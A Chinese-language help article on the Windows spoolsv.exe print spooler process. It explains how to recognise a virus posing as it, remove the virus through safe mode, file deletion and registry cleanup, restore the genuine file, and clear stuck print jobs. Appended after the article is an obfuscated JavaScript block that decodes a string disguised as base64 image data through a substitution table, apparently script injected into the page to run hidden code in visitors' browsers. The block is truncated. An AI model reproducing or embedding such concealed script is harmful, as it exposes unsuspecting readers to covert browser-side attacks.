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未感染病毒可尝试:
spoolsv.exe 是系统的打印服务程序,这个程序损坏了相应的打印就不能进行,这个服务是自动启动的,所以一开机就会出错,你到其它好的电脑上,在C:\WINDOWS\system32里找到spoolsv.exe ,复制到你的电脑相应的位置上,再启动Print Spooler这项服务。
若中毒须尝试下面的方法:
(判别自己是否中毒)
1、点开始-运行,输入msconfig,回车,打开实用配置程序,选择“启动”, 感染以后会在启动项里面发现运行Spoolsv.exe的启动项, 每次进入windows会有NTservice的对话框。 2、打开系统盘,假设C盘,看是否存在C:\WINDOWS\system32\spoolsv文件夹,里面有个spoolsv.exe文件,有“傲讯浏览器辅助工具”的字样说明,正常的spoolsv.exe打印机缓冲池文件应该在C:\WINDOWS\system32目录下。 3,打开任务管理器,会发现spoolsv.exe进程,而且CPU占用率很高。
清除方法
1、重新启动,开机按F8进入安全模式。 2、点开始-运行,输入cmd,进入dos。 利用rd命令删除以下目录(如果存在)( 在dos窗口下输入:rd(空格)C:\WINDOWS\system32\spoolsv/s,回车,出现提示,输入y回车,即可删除整个目录。): C:\WINDOWS\system32\msibm C:\WINDOWS\system32\spoolsv C:\WINDOWS\system32\bakcfs C:\WINDOWS\system32\msicn 利用del命令删除下面的文件(如果存在)(比如在dos窗口下输入:del(空格)C:\windows\system32\spoolsv.exe,回车,即可删除被感染的spoolsv.exe,这个文件可以在杀毒结束后在别的正常的机器上复制正常的spoolsv.exe粘贴到 C:\windows\system32文件夹。): C:\windows\system32\spoolsv.exe C:\WINDOWS\system32\wmpdrm.dll 3、重启按F8再次进入安全模式。 (1)桌面右键点击我的电脑,选择“管理”,点击“服务和应用程序”-“服务”,右键点击 NTservice,选择“属性”,修改启动类型为“禁用”。 、 (2)点开始,运行,输入regedit,回车打开注册表,点菜单上的编辑,选择查找,查找含有spoolsv.exe的注册表项目,删除。可以利用F3继续查找,将含有spoolsv.exe的注册表项目全部删除。 4、若以上操作完成后,仍然有该进程。请桌面右键点击我的电脑,选择“管理”,点击“服务和应用程序”-“服务”,右键点击print spooler,选择“属性”,先点“停止”然后修改启动类型为手动或“禁用”。随后重复以上步骤。 另外解决方案 直接删除C:\WINDOWS\system32\spool\PRINTERS 下的文件即可 我还遇到一种情况:经检查,不是以上所描述的病毒,但经常占CPU 100%,但是连续关进程几次,便不再出现,奇怪。 如上所述,在system32里有 spool文件夹。直接把 \PRINTERS 下的文件删除,便解决了这个问题。 这可能不是“病毒”问题,而是系统的故障,但出现了还是很麻烦的。
杀毒后处理
病毒清了后你的SPOOLSV.EXE文件就没有了,且在服务里你的后台打印print spooler也不能启动了,当然打印机也不能运行了,在运行里输入“services.msc”后,在“print spooler”服务中的“常规”项里的“可执行文件路径”也变得不可用,如启动会显示“错误3:找不到系统路径”的错误,这是因为你的注册表的相关项也删了,(在上面清病毒的时候) 解决方法: 1:在安装光盘里I386目录下把SPOOLSV.EX_文件复制到SYSTEM32目录下改名为spoolsv.exe,当然也可以在别人的系统时把这个文件拷过来,还可以用NT/XP的文件保护功能,即在CMD里键入SFC/SCANNOW全面修复,反正你把这个文件恢复就可以了。 2:修改注册表即可:进入“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Spooler”目录下,新建一个可扩充字符串值,取名:“ImagePath”,其值为:“C:\WINDOWS\system32\spoolsv.exe”(不要引号)再进入控制面板中启动打印服务即可。
这个程序是打印机的服务程序
用于将要打印的文件存在缓存中排列打印
如果你的计算机没有使用打印机可以将此服务项关闭
右键我的电脑-管理-服务和应用程序-服务
在右边找到Print
Spooler
将启动类型设为禁用即可
spoolsv进程是打印机后台服务的进程,没有他就不能用打印机服务了。你需要开始-运行-services.msc, 把print spooler启用即可。另外,查看该进程的属性描述是不是来自微软,如果不是,那就是中了病毒了,病毒经常伪装成spoolsv的进程,一旦病毒运行了,原本的spoolsv服务就无法运行,当然你的打印机就不能用了。
如果确定是病毒,利用360在线杀毒进行全盘扫描杀毒一次,然后安装杀毒软件,如果不扫描直接安装杀毒软件是无法成功杀毒的。
1、单击开始,单击运行,键入mmc,然后单击确定。
2、在文件菜单上,单击添加/删除管理单元。
3、依次单击添加、计算机管理、添加,然后单击完成,单击关闭,然后单击确定。
4、依次展开计算机管理和“服务和应用程序”,然后单击服务。
5、右键单击 Print Spooler,然后单击停止。(需要一些时间)
6、单击开始,单击运行,在打开框中键入 %SystemRoot%\System32\spool\PRINTERS,然后单击确定。并将 %SystemRoot%\System32\spool\PRINTERS 目录下的所有文件 删除。
7、选择服务窗口(3-4步中还没关闭的),右键单击 Print Spooler,然后单击启动。
8、重新执行打印操作,恢复正常。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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